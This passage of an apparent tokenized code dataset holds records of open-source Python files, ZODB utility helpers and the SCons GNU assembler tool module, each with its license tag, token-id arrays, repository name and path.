ts = TimeStamp(*time.gmtime(t)[:5]+(t%60,))
if old is not None:
ts = ts.laterThan(TimeStamp(old))
return ts.raw()
def oid_repr(oid):
if isinstance(oid, bytes) and len(oid) == 8:
# Convert to hex and strip leading zeroes.
as_hex = hexlify(oid).lstrip(b'0')
# Ensure two characters per input byte.
if len(as_hex) & 1:
as_hex = b'0' + as_hex
elif as_hex == b'':
as_hex = b'00'
return '0x' + as_hex.decode()
else:
return repr(oid)
def repr_to_oid(repr):
repr = ascii_bytes(repr)
if repr.startswith(b"0x"):
repr = repr[2:]
as_bin = unhexlify(repr)
as_bin = b"\x00"*(8-len(as_bin)) + as_bin
return as_bin
serial_repr = oid_repr
tid_repr = serial_repr
# For example, produce
# '0x03441422948b4399 2002-04-14 20:50:34.815000'
# for 8-byte string tid b'\x03D\x14"\x94\x8bC\x99'.
def readable_tid_repr(tid):
result = tid_repr(tid)
if isinstance(tid, str) and len(tid) == 8:
result = "%s %s" % (result, TimeStamp(tid))
return result
# Addresses can "look negative" on some boxes, some of the time. If you
# feed a "negative address" to an %x format, Python 2.3 displays it as
# unsigned, but produces a FutureWarning, because Python 2.4 will display
# it as signed. So when you want to prodce an address, use positive_id() to
# obtain it.
# _ADDRESS_MASK is 2**(number_of_bits_in_a_native_pointer). Adding this to
# a negative address gives a positive int with the same hex representation as
# the significant bits in the original.
_ADDRESS_MASK = 256 ** struct.calcsize('P')
def positive_id(obj):
"""Return id(obj) as a non-negative integer."""
result = id(obj)
if result < 0:
result += _ADDRESS_MASK
assert result > 0
return result
# Given a ZODB pickle, return pair of strings (module_name, class_name).
# Do this without importing the module or class object.
# See ZODB/serialize.py's module docstring for the only docs that exist about
# ZODB pickle format. If the code here gets smarter, please update those
# docs to be at least as smart. The code here doesn't appear to make sense
# for what serialize.py calls formats 5 and 6.
def get_pickle_metadata(data):
# Returns a 2-tuple of strings.
# ZODB's data records contain two pickles. The first is the class
# of the object, the second is the object. We're only trying to
# pick apart the first here, to extract the module and class names.
if data[0] in (0x80, # Py3k indexes bytes -> int
b'\x80' # Python2 indexes bytes -> bytes
): # protocol marker, protocol > 1
data = data[2:]
if data.startswith(b'(c'): # pickle MARK GLOBAL opcode sequence
global_prefix = 2
elif data.startswith(b'c'): # pickle GLOBAL opcode
global_prefix = 1
else:
global_prefix = 0
if global_prefix:
# Formats 1 and 2.
# Don't actually unpickle a class, because it will attempt to
# load the class. Just break open the pickle and get the
# module and class from it. The module and class names are given by
# newline-terminated strings following the GLOBAL opcode.
modname, classname, rest = data.split(b'\n', 2)
modname = modname[global_prefix:] # strip GLOBAL opcode
return modname.decode(), classname.decode()
# Else there are a bunch of other possible formats.
f = BytesIO(data)
u = Unpickler(f)
try:
class_info = u.load()
except Exception as err:
return '', ''
if isinstance(class_info, tuple):
if isinstance(class_info[0], tuple):
# Formats 3 and 4.
modname, classname = class_info[0]
else:
# Formats 5 and 6 (probably) end up here.
modname, classname = class_info
else:
# This isn't a known format.
modname = repr(class_info)
classname = ''
return modname, classname
def mktemp(dir=None, prefix='tmp'):
"""Create a temp file, known by name, in a semi-secure manner."""
handle, filename = mkstemp(dir=dir, prefix=prefix)
os.close(handle)
return filename
class Locked(object):
def __init__(self, func, inst=None, class_=None, preconditions=()):
self.__func__ = func
self.__self__ = inst
self.__self_class__ = class_
self.preconditions = preconditions
def __get__(self, inst, class_):
return self.__class__(
self.__func__, inst, class_, self.preconditions)
def __call__(self, *args, **kw):
inst = self.__self__
if inst is None:
inst = args[0]
func = self.__func__.__get__(self.__self__, self.__self_class__)
inst._lock_acquire()
try:
for precondition in self.preconditions:
if not precondition(inst):
raise AssertionError(
"Failed precondition: ",
precondition.__doc__.strip())
return func(*args, **kw)
finally:
inst._lock_release()
class locked(object):
def __init__(self, *preconditions):
self.preconditions = preconditions
def __get__(self, inst, class_):
# We didn't get any preconditions, so we have a single "precondition",
# which is actually the function to call.
func, = self.preconditions
return Locked(func, inst, class_)
def __call__(self, func):
return Locked(func, preconditions=self.preconditions)
|
gpl-2.0
|
[
4605,
199,
3,
199,
3,
1898,
334,
67,
9,
12521,
12,
14790,
3107,
13458,
2752,
436,
23212,
14,
199,
3,
2900,
5924,
5702,
14,
199,
3,
199,
3,
961,
2032,
365,
5420,
370,
314,
1727,
1356,
402,
314,
3107,
13458,
1684,
844,
12,
199,
3,
3394,
499,
14,
17,
334,
58,
2749,
680,
221,
437,
1331,
402,
314,
3107,
2749,
1077,
21727,
642,
4084,
14,
199,
3,
5749,
4141,
2281,
7049,
298,
1179,
2281,
2,
2401,
1821,
2401,
11727,
7168,
1549,
5292,
199,
3,
2990,
9315,
9706,
12,
6931,
12,
5400,
2845,
5471,
2296,
12,
2334,
5292,
199,
3,
2990,
1634,
377,
16507,
12,
3169,
12,
437,
9741,
7834,
1621,
12600,
12,
2401,
3092,
199,
3,
2381,
437,
3115,
3104,
199,
3,
199,
4605,
199,
646,
747,
199,
646,
2702,
199,
646,
984,
199,
646,
900,
199,
646,
3598,
199,
504,
14755,
492,
6318,
8209,
12,
625,
20677,
199,
504,
2702,
492,
1706,
12,
7787,
199,
504,
5549,
492,
333,
6080,
808,
199,
199,
504,
16149,
14,
27335,
492,
4703,
16649,
199,
199,
504,
3107,
47,
2846,
423,
5819,
492,
1910,
23468,
199,
504,
3107,
47,
2846,
423,
5819,
492,
11808,
199,
504,
3107,
47,
2846,
423,
5819,
492,
13294,
63,
2394,
421,
199,
363,
452,
363,
275,
788,
90,
772,
297,
1779,
283,
80,
772,
297,
1779,
283,
85,
772,
297,
1779,
283,
53,
772,
297,
1779,
283,
1850,
297,
1779,
283,
1222,
32487,
297,
1779,
283,
1170,
63,
2722,
297,
1779,
283,
2171,
63,
2722,
297,
1779,
283,
5700,
63,
2722,
297,
1779,
283,
8965,
63,
344,
297,
1779,
283,
11875,
63,
5700,
63,
2722,
297,
1779,
283,
25832,
63,
24165,
297,
1779,
283,
6667,
1401,
297,
1779,
283,
6667,
1703,
297,
1779,
283,
362,
63,
8092,
63,
2343,
297,
1779,
283,
9325,
297,
881,
1622,
199,
199,
3,
437,
3747,
3608,
370,
8120,
465,
314,
849,
574,
367,
282,
5906,
1423,
14,
199,
3,
710,
1083,
1077,
2066,
886,
282,
199,
3,
199,
3,
258,
340,
626,
63,
1273,
365,
440,
31404,
63,
24165,
26,
199,
3,
260,
24105,
199,
3,
199,
3,
366,
554,
14,
199,
25832,
63,
24165,
275,
909,
342,
199,
199,
3,
14771,
13413,
12,
440,
316,
626,
314,
5906,
8377,
911,
2621,
199,
3,
13437,
315,
3107,
47,
2846,
650,
14,
23,
14,
221,
7584,
370,
314,
8025,
402,
4154,
8025,
334,
73,
14,
69,
2020,
737,
314,
199,
3,
1233,
1808,
314,
5906,
8377,
680,
199,
318,
5906,
1401,
8,
1328,
304,
272,
3598,
14,
4050,
480,
2765,
911,
506,
4829,
315,
3107,
47,
2846,
650,
14,
23,
3427,
78,
5,
83,
2,
450,
1499,
12,
2116,
13413,
12,
13232,
29,
19,
9,
199,
199,
3,
14771,
13413,
12,
440,
316,
626,
314,
5906,
8377,
911,
2621,
199,
3,
13437,
315,
3107,
47,
2846,
650,
14,
24,
14,
221,
7584,
370,
314,
8025,
402,
4154,
8025,
334,
73,
14,
69,
2020,
737,
314,
199,
3,
1233,
1808,
314,
5906,
8377,
680,
199,
318,
5906,
1703,
8,
1328,
304,
272,
3598,
14,
4050,
480,
2765,
911,
506,
4829,
315,
3107,
47,
2846,
650,
14,
24,
3427,
78,
5,
83,
2,
450,
1499,
12,
2116,
13413,
12,
13232,
29,
19,
9,
421,
199,
692,
984,
14,
1023,
63,
815,
59,
16,
61,
665,
650,
26,
272,
347,
465,
63,
2394,
8,
1113,
304,
267,
298,
7306,
1559,
1901,
2783,
2,
267,
372,
620,
8,
1113,
9,
339,
347,
465,
63,
505,
8,
2394,
304,
267,
298,
7306,
2783,
1901,
1059,
2,
267,
372,
2783,
339,
327,
7905,
376,
1819,
402,
282,
2783,
909,
1901,
376,
1109,
272,
3696,
63,
2181,
275,
6206,
272,
3696,
63,
10194,
275,
8678,
199,
199,
2836,
26,
272,
347,
465,
63,
2394,
8,
1113,
304,
267,
340,
1228,
8,
1113,
12,
2783,
304,
288,
327,
26750,
620,
641,
282,
2783,
909,
10557,
2399,
4700,
342,
288,
372,
1559,
267,
372,
620,
8,
1113,
680,
2143,
480,
4371,
531,
339,
347,
465,
63,
505,
8,
2394,
304,
267,
372,
2783,
14,
2708,
480,
4371,
531,
339,
347,
3696,
63,
2181,
8,
4414,
304,
267,
372,
3696,
327,
4008,
402,
2783,
787,
2575,
14526,
339,
347,
3696,
63,
10194,
8,
442,
304,
267,
372,
2783,
1332,
442,
4641,
199,
199,
90,
772,
275,
330,
1154,
16,
7,
627,
1695,
199,
199,
479,
984,
14,
4097,
1023,
2356,
378,
88,
996,
1644,
993,
199,
199,
3,
710,
2917,
262,
414,
3382,
14526,
436,
6132,
458,
365,
6826,
300,
581,
315,
2018,
499,
14,
18,
12,
199,
3,
880,
399,
772,
342,
787,
738,
772,
342,
7710,
314,
2011,
14,
199,
199,
318,
299,
772,
8,
86,
304,
272,
408,
2305,
376,
3000,
503,
1846,
1901,
282,
1695,
13,
4414,
1059,
624,
272,
372,
1706,
19651,
49,
401,
373,
9,
199,
199,
318,
399,
772,
8,
86,
304,
272,
408,
26472,
376,
1695,
13,
4414,
1059,
1901,
282,
5049,
13,
2075,
1846,
3000,
1041,
272,
372,
7787,
19651,
49,
401,
373,
2788,
16,
61,
199,
199,
53,
772,
275,
399,
772,
421,
199,
318,
7667,
8,
70,
17,
12,
289,
18,
12,
2582,
29,
403,
304,
272,
408,
5116,
1006,
666,
687,
1373,
570,
370,
4573,
14,
339,
2779,
6866,
314,
666,
687,
314,
1453,
3421,
402,
314,
1324,
570,
334,
70,
17,
9,
272,
24373,
652,
370,
314,
1453,
3421,
402,
314,
1072,
570,
334,
70,
18,
680,
339,
2779,
6866,
737,
4750,
283,
1267,
7,
2783,
14,
982,
283,
1267,
7,
5712,
1133,
1627,
12,
652,
6866,
272,
5133,
314,
1284,
402,
314,
1324,
570,
14,
272,
408,
272,
1586,
275,
289,
17,
14,
739,
272,
2218,
275,
289,
18,
14,
952,
272,
302,
275,
28828,
339,
340,
2582,
365,
488,
26,
267,
2269,
63,
1712,
275,
289,
17,
14,
9974,
342,
267,
289,
17,
14,
5507,
8,
16,
12,
18,
9,
267,
2582,
275,
289,
17,
14,
9974,
342,
267,
289,
17,
14,
5507,
8,
1753,
63,
1712,
9,
339,
1830,
2582,
690,
378,
26,
267,
340,
302,
690,
2582,
26,
288,
302,
275,
2582,
267,
666,
275,
1586,
8,
78,
9,
267,
340,
440,
666,
26,
288,
2059,
267,
2218,
8,
576,
9,
267,
2582,
4862,
822,
8,
576,
9,
199,
199
] |
[
199,
3,
199,
3,
1898,
334,
67,
9,
12521,
12,
14790,
3107,
13458,
2752,
436,
23212,
14,
199,
3,
2900,
5924,
5702,
14,
199,
3,
199,
3,
961,
2032,
365,
5420,
370,
314,
1727,
1356,
402,
314,
3107,
13458,
1684,
844,
12,
199,
3,
3394,
499,
14,
17,
334,
58,
2749,
680,
221,
437,
1331,
402,
314,
3107,
2749,
1077,
21727,
642,
4084,
14,
199,
3,
5749,
4141,
2281,
7049,
298,
1179,
2281,
2,
2401,
1821,
2401,
11727,
7168,
1549,
5292,
199,
3,
2990,
9315,
9706,
12,
6931,
12,
5400,
2845,
5471,
2296,
12,
2334,
5292,
199,
3,
2990,
1634,
377,
16507,
12,
3169,
12,
437,
9741,
7834,
1621,
12600,
12,
2401,
3092,
199,
3,
2381,
437,
3115,
3104,
199,
3,
199,
4605,
199,
646,
747,
199,
646,
2702,
199,
646,
984,
199,
646,
900,
199,
646,
3598,
199,
504,
14755,
492,
6318,
8209,
12,
625,
20677,
199,
504,
2702,
492,
1706,
12,
7787,
199,
504,
5549,
492,
333,
6080,
808,
199,
199,
504,
16149,
14,
27335,
492,
4703,
16649,
199,
199,
504,
3107,
47,
2846,
423,
5819,
492,
1910,
23468,
199,
504,
3107,
47,
2846,
423,
5819,
492,
11808,
199,
504,
3107,
47,
2846,
423,
5819,
492,
13294,
63,
2394,
421,
199,
363,
452,
363,
275,
788,
90,
772,
297,
1779,
283,
80,
772,
297,
1779,
283,
85,
772,
297,
1779,
283,
53,
772,
297,
1779,
283,
1850,
297,
1779,
283,
1222,
32487,
297,
1779,
283,
1170,
63,
2722,
297,
1779,
283,
2171,
63,
2722,
297,
1779,
283,
5700,
63,
2722,
297,
1779,
283,
8965,
63,
344,
297,
1779,
283,
11875,
63,
5700,
63,
2722,
297,
1779,
283,
25832,
63,
24165,
297,
1779,
283,
6667,
1401,
297,
1779,
283,
6667,
1703,
297,
1779,
283,
362,
63,
8092,
63,
2343,
297,
1779,
283,
9325,
297,
881,
1622,
199,
199,
3,
437,
3747,
3608,
370,
8120,
465,
314,
849,
574,
367,
282,
5906,
1423,
14,
199,
3,
710,
1083,
1077,
2066,
886,
282,
199,
3,
199,
3,
258,
340,
626,
63,
1273,
365,
440,
31404,
63,
24165,
26,
199,
3,
260,
24105,
199,
3,
199,
3,
366,
554,
14,
199,
25832,
63,
24165,
275,
909,
342,
199,
199,
3,
14771,
13413,
12,
440,
316,
626,
314,
5906,
8377,
911,
2621,
199,
3,
13437,
315,
3107,
47,
2846,
650,
14,
23,
14,
221,
7584,
370,
314,
8025,
402,
4154,
8025,
334,
73,
14,
69,
2020,
737,
314,
199,
3,
1233,
1808,
314,
5906,
8377,
680,
199,
318,
5906,
1401,
8,
1328,
304,
272,
3598,
14,
4050,
480,
2765,
911,
506,
4829,
315,
3107,
47,
2846,
650,
14,
23,
3427,
78,
5,
83,
2,
450,
1499,
12,
2116,
13413,
12,
13232,
29,
19,
9,
199,
199,
3,
14771,
13413,
12,
440,
316,
626,
314,
5906,
8377,
911,
2621,
199,
3,
13437,
315,
3107,
47,
2846,
650,
14,
24,
14,
221,
7584,
370,
314,
8025,
402,
4154,
8025,
334,
73,
14,
69,
2020,
737,
314,
199,
3,
1233,
1808,
314,
5906,
8377,
680,
199,
318,
5906,
1703,
8,
1328,
304,
272,
3598,
14,
4050,
480,
2765,
911,
506,
4829,
315,
3107,
47,
2846,
650,
14,
24,
3427,
78,
5,
83,
2,
450,
1499,
12,
2116,
13413,
12,
13232,
29,
19,
9,
421,
199,
692,
984,
14,
1023,
63,
815,
59,
16,
61,
665,
650,
26,
272,
347,
465,
63,
2394,
8,
1113,
304,
267,
298,
7306,
1559,
1901,
2783,
2,
267,
372,
620,
8,
1113,
9,
339,
347,
465,
63,
505,
8,
2394,
304,
267,
298,
7306,
2783,
1901,
1059,
2,
267,
372,
2783,
339,
327,
7905,
376,
1819,
402,
282,
2783,
909,
1901,
376,
1109,
272,
3696,
63,
2181,
275,
6206,
272,
3696,
63,
10194,
275,
8678,
199,
199,
2836,
26,
272,
347,
465,
63,
2394,
8,
1113,
304,
267,
340,
1228,
8,
1113,
12,
2783,
304,
288,
327,
26750,
620,
641,
282,
2783,
909,
10557,
2399,
4700,
342,
288,
372,
1559,
267,
372,
620,
8,
1113,
680,
2143,
480,
4371,
531,
339,
347,
465,
63,
505,
8,
2394,
304,
267,
372,
2783,
14,
2708,
480,
4371,
531,
339,
347,
3696,
63,
2181,
8,
4414,
304,
267,
372,
3696,
327,
4008,
402,
2783,
787,
2575,
14526,
339,
347,
3696,
63,
10194,
8,
442,
304,
267,
372,
2783,
1332,
442,
4641,
199,
199,
90,
772,
275,
330,
1154,
16,
7,
627,
1695,
199,
199,
479,
984,
14,
4097,
1023,
2356,
378,
88,
996,
1644,
993,
199,
199,
3,
710,
2917,
262,
414,
3382,
14526,
436,
6132,
458,
365,
6826,
300,
581,
315,
2018,
499,
14,
18,
12,
199,
3,
880,
399,
772,
342,
787,
738,
772,
342,
7710,
314,
2011,
14,
199,
199,
318,
299,
772,
8,
86,
304,
272,
408,
2305,
376,
3000,
503,
1846,
1901,
282,
1695,
13,
4414,
1059,
624,
272,
372,
1706,
19651,
49,
401,
373,
9,
199,
199,
318,
399,
772,
8,
86,
304,
272,
408,
26472,
376,
1695,
13,
4414,
1059,
1901,
282,
5049,
13,
2075,
1846,
3000,
1041,
272,
372,
7787,
19651,
49,
401,
373,
2788,
16,
61,
199,
199,
53,
772,
275,
399,
772,
421,
199,
318,
7667,
8,
70,
17,
12,
289,
18,
12,
2582,
29,
403,
304,
272,
408,
5116,
1006,
666,
687,
1373,
570,
370,
4573,
14,
339,
2779,
6866,
314,
666,
687,
314,
1453,
3421,
402,
314,
1324,
570,
334,
70,
17,
9,
272,
24373,
652,
370,
314,
1453,
3421,
402,
314,
1072,
570,
334,
70,
18,
680,
339,
2779,
6866,
737,
4750,
283,
1267,
7,
2783,
14,
982,
283,
1267,
7,
5712,
1133,
1627,
12,
652,
6866,
272,
5133,
314,
1284,
402,
314,
1324,
570,
14,
272,
408,
272,
1586,
275,
289,
17,
14,
739,
272,
2218,
275,
289,
18,
14,
952,
272,
302,
275,
28828,
339,
340,
2582,
365,
488,
26,
267,
2269,
63,
1712,
275,
289,
17,
14,
9974,
342,
267,
289,
17,
14,
5507,
8,
16,
12,
18,
9,
267,
2582,
275,
289,
17,
14,
9974,
342,
267,
289,
17,
14,
5507,
8,
1753,
63,
1712,
9,
339,
1830,
2582,
690,
378,
26,
267,
340,
302,
690,
2582,
26,
288,
302,
275,
2582,
267,
666,
275,
1586,
8,
78,
9,
267,
340,
440,
666,
26,
288,
2059,
267,
2218,
8,
576,
9,
267,
2582,
4862,
822,
8,
576,
9,
199,
199,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pokemon4ik2008/py-airfoil
|
scons-local-2.2.0/SCons/Tool/gas.py
|
14
|
1931
|
"""SCons.Tool.gas
Tool-specific initialization for as, the Gnu assembler.
There normally shouldn't be any need to import this module directly.
It will usually be imported through the generic SCons.Tool.Tool()
selection method.
"""
#
# Copyright (c) 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012 The SCons Foundation
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to
# permit persons to whom the Software is furnished to do so, subject to
# the following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
# KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
# WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#
__revision__ = "src/engine/SCons/Tool/gas.py issue-2856:2676:d23b7a2f45e8 2012/08/05 15:38:28 garyo"
as_module = __import__('as', globals(), locals(), [])
assemblers = ['as', 'gas']
def generate(env):
"""Add Builders and construction variables for as to an Environment."""
as_module.generate(env)
env['AS'] = env.Detect(assemblers) or 'as'
def exists(env):
return env.Detect(assemblers)
# Local Variables:
# tab-width:4
# indent-tabs-mode:nil
# End:
# vim: set expandtab tabstop=4 shiftwidth=4:
|
gpl-3.0
|
[
624,
18521,
14,
5157,
14,
24364,
199,
199,
5157,
13,
6100,
11097,
367,
465,
12,
314,
598,
4850,
22931,
82,
14,
199,
199,
10924,
12252,
9296,
1133,
506,
1263,
1929,
370,
492,
642,
859,
5370,
14,
199,
7940,
911,
9987,
506,
8439,
4012,
314,
7809,
8218,
14,
5157,
14,
5157,
342,
199,
5592,
1083,
14,
199,
199,
624,
199,
199,
3,
199,
3,
1898,
334,
67,
9,
12521,
12,
14790,
12,
13004,
12,
8353,
12,
11811,
12,
8315,
12,
10219,
12,
9079,
12,
8937,
12,
7129,
12,
7760,
12,
6029,
710,
8218,
2752,
199,
3,
199,
3,
8779,
365,
11882,
10009,
12,
2867,
402,
11204,
12,
370,
1263,
4954,
12408,
199,
3,
282,
1331,
402,
642,
2032,
436,
4568,
3794,
1584,
334,
1589,
199,
3,
298,
10337,
1288,
370,
7962,
315,
314,
2290,
1928,
10588,
12,
5893,
199,
3,
1928,
12305,
314,
4481,
370,
675,
12,
1331,
12,
2811,
12,
5389,
12,
2780,
12,
199,
3,
11207,
12,
13473,
12,
436,
15,
269,
12743,
6866,
402,
314,
2290,
12,
436,
370,
199,
3,
11291,
12103,
370,
12676,
314,
2290,
365,
13985,
370,
886,
880,
12,
5420,
370,
199,
3,
314,
2569,
3704,
26,
199,
3,
199,
3,
710,
3432,
4248,
4245,
436,
642,
4983,
4245,
10989,
506,
5120,
199,
3,
315,
1006,
6866,
503,
13393,
12468,
402,
314,
2290,
14,
199,
3,
199,
3,
2334,
4141,
2281,
7049,
298,
1179,
2281,
401,
2428,
3408,
1634,
1821,
199,
3,
3826,
12,
7168,
1549,
5292,
12,
6931,
5400,
2845,
5471,
2296,
2334,
199,
3,
2990,
1634,
3169,
12,
3092,
2381,
437,
3115,
3104,
2401,
199,
3,
13229,
14,
1621,
4825,
6461,
7000,
2334,
10610,
1549,
5877,
8164,
6262,
199,
3,
7024,
2381,
1821,
13140,
12,
6736,
1549,
5010,
5603,
12,
7061,
1621,
1261,
9612,
199,
3,
1634,
7066,
12,
7056,
1549,
7334,
12,
7043,
4442,
12,
5738,
1634,
1549,
1621,
11287,
199,
3,
1663,
2334,
4141,
1549,
2334,
4815,
1549,
5010,
13198,
1621,
2334,
4141,
14,
199,
3,
199,
199,
363,
5792,
363,
275,
298,
2164,
15,
3908,
15,
18521,
15,
5157,
15,
24364,
14,
647,
4976,
13,
1651,
1367,
26,
1479,
2114,
26,
68,
1789,
66,
23,
65,
18,
70,
2322,
69,
24,
6029,
15,
2036,
15,
1717,
4114,
26,
1703,
26,
1651,
486,
695,
79,
2,
199,
199,
305,
63,
578,
275,
636,
646,
19734,
305,
297,
7992,
1062,
9480,
1062,
3073,
199,
199,
21263,
2393,
275,
788,
305,
297,
283,
24364,
418,
199,
199,
318,
3550,
8,
1813,
304,
272,
408,
1123,
19286,
83,
436,
14538,
2860,
367,
465,
370,
376,
9711,
1041,
272,
465,
63,
578,
14,
4208,
8,
1813,
9,
339,
2589,
459,
1179,
418,
263,
275,
2589,
14,
20064,
8,
21263,
2393,
9,
503,
283,
305,
7,
199,
199,
318,
3495,
8,
1813,
304,
272,
372,
2589,
14,
20064,
8,
21263,
2393,
9,
199,
199,
3,
10111,
17198,
26,
199,
3,
5174,
13,
2063,
26,
20,
199,
3,
4363,
13,
8741,
13,
632,
26,
20613,
199,
3,
9599,
26,
199,
3,
6695,
26,
663,
26414,
20849,
29,
20,
20105,
29,
20,
26,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
18521,
14,
5157,
14,
24364,
199,
199,
5157,
13,
6100,
11097,
367,
465,
12,
314,
598,
4850,
22931,
82,
14,
199,
199,
10924,
12252,
9296,
1133,
506,
1263,
1929,
370,
492,
642,
859,
5370,
14,
199,
7940,
911,
9987,
506,
8439,
4012,
314,
7809,
8218,
14,
5157,
14,
5157,
342,
199,
5592,
1083,
14,
199,
199,
624,
199,
199,
3,
199,
3,
1898,
334,
67,
9,
12521,
12,
14790,
12,
13004,
12,
8353,
12,
11811,
12,
8315,
12,
10219,
12,
9079,
12,
8937,
12,
7129,
